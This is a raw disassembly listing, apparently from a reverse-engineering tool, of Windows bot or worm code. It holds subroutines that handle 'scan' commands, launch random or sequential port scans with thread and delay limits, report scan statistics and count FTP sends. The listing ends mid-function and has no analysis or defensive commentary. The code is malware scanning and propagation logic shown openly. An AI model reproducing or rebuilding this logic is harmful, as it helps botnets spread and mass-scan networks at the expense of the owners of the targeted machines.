; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4224E0 proc near ; CODE XREF: sub_4020D6j
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_40107D
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_4224E0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_422510 proc near ; CODE XREF: sub_401B90j
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_4019BA
mov ecx, eax
call sub_4018F7
mov esi, eax
push esi
call sub_40110E
push esi
mov ebx, eax
call sub_4010EB
mov ecx, [eax]
push ecx
call sub_40110E
mov edx, [ebx]
push esi
mov [eax], edx
call sub_4010EB
push esi
mov ebx, eax
call sub_40110E
mov eax, [eax]
push eax
call sub_4010EB
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_40108C
add esp, 1Ch
mov ecx, edi
push eax
call sub_401E7E
push esi
mov ecx, edi
call sub_4021DA
sub_422510 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4225D0 proc near ; CODE XREF: sub_4010EBj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_4225D0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4225F0 proc near ; CODE XREF: sub_4020DBj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D2A
sub_4225F0 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_422620 proc near ; CODE XREF: sub_4018F2j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_437AD2
sub_422620 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422640 proc near ; CODE XREF: sub_4013E8j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_401EF1
add esp, 8
retn 8
sub_422640 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422670 proc near ; CODE XREF: sub_4018FCj
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_422670 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422690 proc near ; CODE XREF: sub_4018F7j
mov eax, [ecx]
retn
sub_422690 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4226B0 proc near ; CODE XREF: sub_4019BAj
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_401839
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_4226B0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4226E0 proc near ; CODE XREF: sub_40163Bj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401A8C
pop ecx
retn 4
sub_4226E0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422700 proc near ; CODE XREF: sub_401E7Ej
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401FB9
pop ecx
retn 4
sub_422700 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422720 proc near ; CODE XREF: sub_401A3Cj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_42273B
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_42273B: ; CODE XREF: sub_422720+11j
retn
sub_422720 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422750 proc near ; CODE XREF: sub_40203Bj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_422750
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, [esp+10h+arg_0]
push eax
push 19h
call sub_4011CC
add esp, 8
mov [esp+10h+var_10], eax
test eax, eax
mov [esp+10h+var_4], 0
jz short loc_422791
mov ecx, [esp+10h+arg_4]
push ecx
mov ecx, eax
call sub_401681
loc_422791: ; CODE XREF: sub_422750+33j
mov ecx, [esp+10h+var_C]
mov large fs:0, ecx
add esp, 10h
retn
sub_422750 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4227E0 proc near ; CODE XREF: sub_401EF1j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_4227E0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, [esp+10h+arg_0]
push eax
push 15h
call sub_4011CC
add esp, 8
mov [esp+10h+var_10], eax
test eax, eax
mov [esp+10h+var_4], 0
jz short loc_422821
mov ecx, [esp+10h+arg_4]
push ecx
mov ecx, eax
call sub_4014D3
loc_422821: ; CODE XREF: sub_4227E0+33j
mov ecx, [esp+10h+var_C]
mov large fs:0, ecx
add esp, 10h
retn
sub_4227E0 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422850 proc near ; CODE XREF: sub_401A8Cj
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push 0
call sub_4019C9
retn
sub_422850 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422870 proc near ; CODE XREF: sub_401FB9j
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push 0
mov eax, [ecx]
call dword ptr [eax]
retn
sub_422870 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422890 proc near ; CODE XREF: sub_401681j
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
push edi
call sub_4014D3
mov eax, [edi+15h]
pop edi
mov [esi+15h], eax
mov eax, esi
pop esi
retn 4
sub_422890 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4228C0 proc near ; CODE XREF: sub_4019C9j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401A82
test [esp+4+arg_0], 1
jz short loc_4228D8
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_4228D8: ; CODE XREF: sub_4228C0+Dj
mov eax, esi
pop esi
retn 4
sub_4228C0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4228F0 proc near ; CODE XREF: sub_401AF5j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4228F0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
push 0
push 10h
push 9
push 3
push 4Fh
push 16h
push 4
lea eax, [esp+60h+var_3C]
push 1
mov esi, ecx
push eax
mov dword_4D7F9B, offset aAsn ; "asn"
call sub_4019C4
add esp, 24h
push esi
mov ecx, eax
mov [esp+48h+var_4], 0
call sub_4017EE
lea ecx, [esi+8D008h]
push eax
push ecx
mov ecx, offset dword_449128
call sub_40159B
sub_4228F0 endp
; ---------------------------------------------------------------------------
or edi, 0FFFFFFFFh
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 14h
push 12h
push 1
push 14h
push 13h
push 4Fh
push 16h
push 4
lea edx, [esp+2Ch]
push 1
push edx
call sub_4019C4
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 1
call sub_4017EE
push eax
lea eax, [esi+8D036h]
push eax
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 10h
push 0Fh
push 14h
push 13h
push 4Fh
push 0Eh
push 1
push 3
lea ecx, [esp+2Ch]
push 13h
push ecx
call sub_4019C4
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 2
call sub_4017EE
lea edx, [esi+8D064h]
push eax
push edx
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 13h
push 14h
push 1
push 14h
push 13h
push 4Fh
push 16h
push 4
lea eax, [esp+2Ch]
push 1
push eax
call sub_4019C4
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 3
call sub_4017EE
lea ecx, [esi+8D092h]
push eax
push ecx
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 13h
push 14h
push 1
push 14h
push 13h
push 4Fh
push 10h
push 14h
lea edx, [esp+44h]
push 6
push edx
call sub_4019C4
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 4
call sub_4017EE
add esi, 8D0C0h
push eax
push esi
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+20h]
mov [esp+40h], edi
call sub_401226
mov ecx, [esp+38h]
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422B40 proc near ; CODE XREF: sub_40138Ej
var_78D = byte ptr -78Dh
var_78C = dword ptr -78Ch
var_788 = byte ptr -788h
var_780 = dword ptr -780h
var_770 = byte ptr -770h
var_760 = byte ptr -760h
var_6E0 = byte ptr -6E0h
var_660 = dword ptr -660h
var_65C = dword ptr -65Ch
var_658 = dword ptr -658h
var_654 = dword ptr -654h
var_650 = dword ptr -650h
var_644 = dword ptr -644h
var_640 = dword ptr -640h
var_638 = dword ptr -638h
var_634 = dword ptr -634h
var_630 = dword ptr -630h
var_624 = byte ptr -624h
var_60C = byte ptr -60Ch
var_40C = byte ptr -40Ch
var_20C = byte ptr -20Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_422B40
push eax
mov large fs:0, esp
sub esp, 784h
push ebx
push ebp
push esi
mov esi, [esp+79Ch+arg_0]
mov ebp, ecx
push edi
lea edi, [esi+7Eh]
lea ecx, [ebp+8D008h]
call sub_4014DD
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz loc_422C0A
push 3
call sub_40148D
add esp, 4
test eax, eax
jle short loc_422BDD
push 3
call sub_401DA2
mov eax, dword_50DB60[eax*8]
add esp, 4
push eax
nop
call near ptr 71AB3F41h
push eax
push offset aScanCipS ; "scan: cip (%s)"
lea ecx, [esi+2Ah]
call sub_4014DD
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_4D8085
call sub_401857
add esp, 18h
mov al, 1
jmp loc_422F3B
; ---------------------------------------------------------------------------
loc_422BDD: ; CODE XREF: sub_422B40+52j
lea ecx, [esi+2Ah]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push offset aScanNotStarted ; "scan: not started"
push edx
push eax
mov ecx, offset byte_4D8085
call sub_401118
mov al, 1
jmp loc_422F3B
; ---------------------------------------------------------------------------
loc_422C0A: ; CODE XREF: sub_422B40+40j
lea ecx, [ebp+8D0C0h]
call sub_4014DD
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz loc_422CB0
mov edi, dword_4D8380
push offset asc_444600 ; " "
lea ecx, [esp+7A4h+var_788]
push 1
push ecx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov [esp+7A0h+var_4], 0
call sub_4017EE
push eax
call near ptr 77C1BF18h
nop
add esp, 4
lea ecx, [esp+7A0h+var_788]
mov ebx, eax
mov [esp+7A0h+var_4], 0FFFFFFFFh
call sub_401226
cmp edi, ebx
jl loc_4232BD
mov edx, dword_44965F
push edi
push edx
push offset aFtpPortDTotalS ; "ftp: port: %d, total sends: %d"
lea ecx, [esi+2Ah]
call sub_4014DD
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_4D8085
call sub_401857
add esp, 1Ch
mov al, 1
jmp loc_422F3B
; ---------------------------------------------------------------------------
loc_422CB0: ; CODE XREF: sub_422B40+DFj
lea ecx, [ebp+8D064h]
call sub_4014DD
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz short loc_422D30
push eax
push 3
call sub_401DA7
add esp, 8
test eax, eax
jle short loc_422D05
push eax
push offset aScanStoppedDTh ; "scan: stopped (%d threads)"
lea ecx, [esi+2Ah]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D8085
call sub_401857
add esp, 18h
jmp loc_422F39
; ---------------------------------------------------------------------------
loc_422D05: ; CODE XREF: sub_422B40+194j
lea ecx, [esi+2Ah]
call sub_4014DD
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push offset aScanCouldnTSto ; "scan: couldn't stop"
push ecx
push edx
mov ecx, offset byte_4D8085
call sub_401118
jmp loc_422F39
; ---------------------------------------------------------------------------
loc_422D30: ; CODE XREF: sub_422B40+185j
lea ecx, [ebp+8D036h]
call sub_4014DD
push eax
mov ecx, edi
call sub_4012EE
mov edi, dword_511B14
test eax, eax
jnz loc_422DDE
push 3
call sub_40148D
add esp, 4
mov ebx, eax
lea eax, [esp+7A0h+var_788]
mov ecx, esi
push offset asc_444600 ; " "
push 2
push eax
call sub_4016B8
mov ecx, eax
mov [esp+7A0h+var_4], 1
call sub_4017EE
push eax
call edi ; atoi
add eax, ebx
add esp, 4
cmp eax, 1F4h
lea ecx, [esp+7A0h+var_788]
setnle [esp+7A0h+var_78D]
mov [esp+7A0h+var_4], 0FFFFFFFFh
call sub_401226
mov al, [esp+7A0h+var_78D]
test al, al
jz loc_422F56
push ebx
push offset aScanTooManyThr ; "scan: too many threads (%s)"
lea ecx, [esi+2Ah]
call sub_4014DD
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_4D8085
call sub_401857
add esp, 18h
loc_422DDE: ; CODE XREF: sub_422B40+20Bj
lea ecx, [ebp+8D092h]
call sub_4014DD
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_422F39
push offset asc_444600 ; " "
lea eax, [esp+7A4h+var_624]
push 1
push eax
mov ecx, esi
xor ebx, ebx
call sub_4016B8
mov ecx, eax
mov [esp+7A0h+var_4], 0Ah
call sub_4017EE
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+7A0h+var_624]
mov edi, eax
mov [esp+7A0h+var_4], 0FFFFFFFFh
call sub_401226
mov eax, dword_445428
mov [esp+7A0h+var_78D], bl
test eax, eax
jz short loc_422E69
mov eax, offset dword_445428
loc_422E55: ; CODE XREF: sub_422B40+327j
cmp [eax+8], edi
jb short loc_422E5F
mov [esp+7A0h+var_78D], 1
loc_422E5F: ; CODE XREF: sub_422B40+318j
mov ecx, [eax+3Ch]
add eax, 3Ch
test ecx, ecx
jnz short loc_422E55
loc_422E69: ; CODE XREF: sub_422B40+30Ej
mov ebp, off_511C00
lea ecx, [esp+7A0h+var_60C]
push offset aScanStats ; "scan: stats:"
push ecx
call ebp ; sub_5F74D1
mov eax, dword_445428
add esp, 8
test eax, eax
jz short loc_422ECF
mov edi, offset dword_445430
loc_422E8F: ; CODE XREF: sub_422B40+38Dj
mov eax, [edi]
lea edx, [edi-26h]
add ebx, eax
push eax
push edx
lea eax, [esp+7A8h+var_40C]
push offset aSD ; " %s: %d,"
push eax
call ebp ; sub_5F74D1
lea ecx, [esp+7B0h+var_40C]
push 200h
lea edx, [esp+7B4h+var_60C]
push ecx
push edx
nop
call near ptr 77C47920h
mov eax, [edi+34h]
add edi, 3Ch
add esp, 1Ch
test eax, eax
jnz short loc_422E8F
loc_422ECF: ; CODE XREF: sub_422B40+348j
push ebx
lea eax, [esp+7A4h+var_40C]
push offset aTotalD ; " total: %d"
push eax
call ebp ; sub_5F74D1
lea ecx, [esp+7ACh+var_40C]
push 200h
lea edx, [esp+7B0h+var_60C]
push ecx
push edx
nop
call near ptr 77C47920h
mov al, [esp+7B8h+var_78D]
add esp, 18h
test al, al
jz short loc_422F29
xor eax, eax
lea ecx, [esp+7A0h+var_60C]
mov al, [esi+94h]
push eax
push ecx
lea ecx, [esi+2Ah]
call sub_4014DD
push eax
push 0
call sub_40152D
add esp, 10h
loc_422F29: ; CODE XREF: sub_422B40+3C3j
lea edx, [esp+7A0h+var_60C]
push edx
call sub_4010D2
add esp, 4
loc_422F39: ; CODE XREF: sub_422B40+1C0j
; sub_422B40+1EBj ...
xor al, al
loc_422F3B: ; CODE XREF: sub_422B40+98j
; sub_422B40+C5j ...
mov ecx, [esp+7A0h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 790h
retn 4
; ---------------------------------------------------------------------------
loc_422F56: ; CODE XREF: sub_422B40+26Ej
push offset asc_444600 ; " "
lea eax, [esp+7A4h+var_788]
push 1
push eax
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov [esp+7A0h+var_4], 2
call sub_4017EE
push eax
call edi ; atoi
or ebx, 0FFFFFFFFh
add esp, 4
lea ecx, [esp+7A0h+var_788]
mov [esp+7A0h+var_65C], eax
mov [esp+7A0h+var_4], ebx
call sub_401226
push offset asc_444600 ; " "
lea ecx, [esp+7A4h+var_788]
push 2
push ecx
mov ecx, esi
call sub_4016B8
mov ebp, 3
mov ecx, eax
mov [esp+7A0h+var_4], ebp
call sub_4017EE
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+7A0h+var_788]
mov [esp+7A0h+var_644], eax
mov [esp+7A0h+var_4], ebx
call sub_401226
push offset asc_444600 ; " "
lea edx, [esp+7A4h+var_788]
push ebp
push edx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov [esp+7A0h+var_4], 4
call sub_4017EE
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+7A0h+var_788]
mov [esp+7A0h+var_658], eax
mov [esp+7A0h+var_4], ebx
call sub_401226
mov eax, [esp+7A0h+var_658]
cmp eax, ebp
jnb short loc_423033
mov [esp+7A0h+var_658], ebp
jmp short loc_423043
; ---------------------------------------------------------------------------
loc_423033: ; CODE XREF: sub_422B40+4E8j
cmp eax, 3Ch
jbe short loc_423043
mov [esp+7A0h+var_658], 3Ch
loc_423043: ; CODE XREF: sub_422B40+4F1j
; sub_422B40+4F6j
push offset asc_444600 ; " "
lea eax, [esp+7A4h+var_788]
push 4
push eax
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov [esp+7A0h+var_4], 5
call sub_4017EE
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+7A0h+var_788]
mov [esp+7A0h+var_654], eax
mov [esp+7A0h+var_4], ebx
call sub_401226
mov ecx, [esp+7A0h+var_654]
mov eax, 960h
cmp ecx, eax
jbe short loc_42309C
mov [esp+7A0h+var_654], eax
loc_42309C: ; CODE XREF: sub_422B40+553j
mov eax, dword_445428
mov [esp+7A0h+var_640], ebx
test eax, eax
mov [esp+7A0h+var_78C], 0
jz loc_42316C
mov ebp, offset dword_445428
jmp short loc_4230C2
; ---------------------------------------------------------------------------
loc_4230BF: ; CODE XREF: sub_422B40+602j
or ebx, 0FFFFFFFFh
loc_4230C2: ; CODE XREF: sub_422B40+57Dj
push offset asc_444600 ; " "
lea ecx, [esp+7A4h+var_788]
push 1
push ecx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov [esp+7A0h+var_4], 6
call sub_4017EE
mov edi, eax
lea ecx, [ebp-28h]
loc_4230EC: ; CODE XREF: sub_422B40+5CAj
mov dl, [ecx]
mov al, dl
cmp dl, [edi]
jnz short loc_423110
test al, al
jz short loc_42310C
mov dl, [ecx+1]
mov al, dl
cmp dl, [edi+1]
jnz short loc_423110
add ecx, 2
add edi, 2
test al, al
jnz short loc_4230EC
loc_42310C: ; CODE XREF: sub_422B40+5B6j
xor eax, eax
jmp short loc_423114
; ---------------------------------------------------------------------------
loc_423110: ; CODE XREF: sub_422B40+5B2j
; sub_422B40+5C0j
sbb eax, eax
sbb eax, ebx
loc_423114: ; CODE XREF: sub_422B40+5CEj
test eax, eax
lea ecx, [esp+7A0h+var_788]
mov [esp+7A0h+var_4], 0FFFFFFFFh
setz bl
call sub_401226
test bl, bl
jnz short loc_42314A
mov edx, [esp+7A0h+var_78C]
mov eax, [ebp+3Ch]
add ebp, 3Ch
inc edx
test eax, eax
mov [esp+7A0h+var_78C], edx
jnz loc_4230BF
jmp short loc_423169
; ---------------------------------------------------------------------------
loc_42314A: ; CODE XREF: sub_422B40+5EFj
mov ecx, [esp+7A0h+var_78C]
mov [esp+7A0h+var_640], ecx
lea eax, [ecx+ecx*2]
lea eax, [eax+eax*4]
mov edx, dword_445428[eax*4]
mov [esp+7A0h+var_65C], edx
loc_423169: ; CODE XREF: sub_422B40+608j
or ebx, 0FFFFFFFFh
loc_42316C: ; CODE XREF: sub_422B40+572j
mov eax, [esp+7A0h+var_65C]
test eax, eax
jnz short loc_42318A
lea ecx, [esi+2Ah]
call sub_4014DD
push eax
push offset aScanInvalidPor ; "scan: invalid port"
jmp loc_4232A5
; ---------------------------------------------------------------------------
loc_42318A: ; CODE XREF: sub_422B40+635j
push offset asc_444600 ; " "
lea edx, [esp+7A4h+var_788]
push 5
push edx
mov ecx, esi
call sub_4016B8
push offset dword_4447F8
mov ecx, eax
mov [esp+7A4h+var_4], 7
call sub_4013ED
lea ecx, [esp+7A0h+var_788]
mov edi, eax
mov [esp+7A0h+var_4], ebx
call sub_401226
test edi, edi
jz loc_423267
push offset asc_444600 ; " "
lea eax, [esp+7A4h+var_788]
push 5
push eax
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov [esp+7A0h+var_4], 8
call sub_4017EE
push eax
lea ecx, [esp+7A4h+var_770]
push 10h
push ecx
call near ptr 77C3FA76h
nop
add esp, 0Ch
lea ecx, [esp+7A0h+var_788]
mov [esp+7A0h+var_4], ebx
call sub_401226
push offset asc_444600 ; " "
lea edx, [esp+7A4h+var_788]
push 5
push edx
mov ecx, esi
call sub_4016B8
push 78h
mov ecx, eax
mov [esp+7A4h+var_4], 9
call sub_4017EE
push eax
nop
call near ptr 77C47660h
add esp, 8
lea ecx, [esp+7A0h+var_788]
neg eax
sbb eax, eax
mov [esp+7A0h+var_4], ebx
neg eax
mov [esp+7A0h+var_630], eax
call sub_401226
jmp loc_423396
; ---------------------------------------------------------------------------
loc_423267: ; CODE XREF: sub_422B40+688j
push offset dword_4455F4
mov ecx, esi
call sub_4013ED
test eax, eax
jnz short loc_4232C4
push offset off_4455F0
mov ecx, esi
call sub_4013ED
test eax, eax
jnz short loc_4232C4
push offset aB ; " -b"
mov ecx, esi
call sub_4013ED
test eax, eax
jnz short loc_4232C4
lea ecx, [esi+2Ah]
call sub_4014DD
push eax
push offset aScanNoIpSpecif ; "scan: no ip specified"
loc_4232A5: ; CODE XREF: sub_422B40+645j
mov al, [esi+94h]
mov cl, [esi+93h]
push eax
push ecx
mov ecx, offset byte_4D8085
call sub_401118
loc_4232BD: ; CODE XREF: sub_422B40+132j
mov al, 1
jmp loc_422F3B
; ---------------------------------------------------------------------------
loc_4232C4: ; CODE XREF: sub_422B40+735j
; sub_422B40+745j ...
mov ecx, dword_4D809D
lea edx, [esp+7A0h+var_78C]
lea eax, [esp+7A0h+var_788]
push edx
push eax
push ecx
mov [esp+7ACh+var_78C], 10h
nop
call near ptr 71AB951Eh
push offset off_4455F0
mov ecx, esi
call sub_4013ED
mov edx, eax
mov eax, [esp+79Ch+var_780]
neg edx
sbb edx, edx
push 10h
and edx, 0FFFF0100h
add edx, 0FFFFh
and eax, edx
push eax
mov [esp+7A4h+var_780], eax
call near ptr 71AB3F41h
nop
push eax
lea eax, [esp+7A8h+var_770]
push eax
nop
call near ptr 77C47A90h
add esp, 0Ch
mov ecx, esi
push offset dword_4455F4
call sub_4013ED
test eax, eax
jz short loc_42338B
push offset off_4455F0
mov ecx, esi
call sub_4013ED
mov ebp, dword_511A9C
mov edi, eax
neg edi
sbb edi, edi
lea ecx, [esp+7A0h+var_770]
neg edi
push 30h
push ecx
add edi, 2
call ebp ; strrchr
add esp, 8
xor bl, bl
test edi, edi
jle short loc_42337E
loc_423362: ; CODE XREF: sub_422B40+83Cj
test eax, eax
jz short loc_42337E
lea edx, [esp+7A0h+var_770]
push 30h
push edx
mov byte ptr [eax], 78h
call ebp ; strrchr
add esp, 8
inc bl
movsx ecx, bl
cmp ecx, edi
jl short loc_423362
loc_42337E: ; CODE XREF: sub_422B40+820j
; sub_422B40+824j
mov [esp+7A0h+var_630], 1
jmp short loc_423396
; ---------------------------------------------------------------------------
loc_42338B: ; CODE XREF: sub_422B40+7F1j
mov [esp+7A0h+var_630], 0
loc_423396: ; CODE XREF: sub_422B40+722j
; sub_422B40+849j
mov edx, dword_4D809D
xor eax, eax
mov al, [esi+93h]
lea edi, [esi+2Ah]
mov ecx, edi
mov [esp+7A0h+var_660], edx
mov [esp+7A0h+var_638], 0
mov [esp+7A0h+var_634], eax
call sub_4017EE
push eax
lea ecx, [esp+7A4h+var_760]
push 80h
push ecx
call near ptr 77C3FA76h
nop
mov eax, [esp+7ACh+var_630]
add esp, 0Ch
test eax, eax
mov [esp+7A0h+var_6E0], 0
mov eax, offset aRandom ; "random"
jnz short loc_4233F8
mov eax, offset aSequential ; "sequential"
loc_4233F8: ; CODE XREF: sub_422B40+8B1j
mov edx, [esp+7A0h+var_644]
mov ecx, [esp+7A0h+var_654]
push edx
mov edx, [esp+7A4h+var_658]
push ecx
mov ecx, [esp+7A8h+var_65C]
push edx
lea edx, [esp+7ACh+var_770]
push ecx
push edx
push eax
mov eax, [esp+7B8h+var_640]
lea eax, [eax+eax*2]
lea eax, [eax+eax*4]
lea ecx, ds:44540Ah[eax*4]
push ecx
push offset aScanSSPortScan ; "Scan(%s): %s Port Scan %s:%d - Delay %d"...
mov ecx, edi
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D8085
call sub_401857
push 0
lea ecx, [esp+7D4h+var_20C]
push 3
push ecx
call sub_401BEA
add esp, 3Ch
lea edx, [esp+7A0h+var_770]
mov [esp+7A0h+var_650], eax
push edx
call sub_402284
mov al, 1
jmp loc_422F3B
sub_422B40 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 260h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4236F0 proc near ; CODE XREF: sub_40114Fj
arg_A6 = dword ptr 0AAh
arg_AE = dword ptr 0B2h
mov ecx, [esp+arg_AE]
push ebx
test ecx, ecx
push offset byte_448F40
mov ecx, offset dword_449968
setnz bl
call sub_4014DD
push eax
push ebx
push ebx
push offset byte_4D8085
call sub_401857
mov eax, [esp+18h+arg_A6]
add esp, 14h
lea eax, [eax+eax*2]
pop ebx
lea eax, [eax+eax*4]
mov ecx, dword_445430[eax*4]
inc ecx
mov dword_445430[eax*4], ecx
mov al, 1
retn
sub_4236F0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_423760 proc near ; CODE XREF: sub_401E10j
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
sub esp, 14h
xor eax, eax
lea ecx, [esp+14h+var_14]
mov [esp+14h+var_10], eax
lea edx, [esp+14h+var_10]
mov [esp+14h+var_C], eax
push ecx
mov [esp+18h+var_8], eax
push edx
mov [esp+1Ch+var_4], eax
mov eax, [esp+1Ch+arg_0]
push eax
mov [esp+20h+var_14], 10h
nop
call near ptr 71AB951Eh
mov ecx, [esp+14h+var_C+3]
mov edx, [esp+14h+var_C+2]
mov eax, [esp+14h+var_C+1]
and ecx, 0FFh
push ecx
mov ecx, [esp+18h+var_C]
and edx, 0FFh
and eax, 0FFh
push edx
and ecx, 0FFh
push eax
push ecx
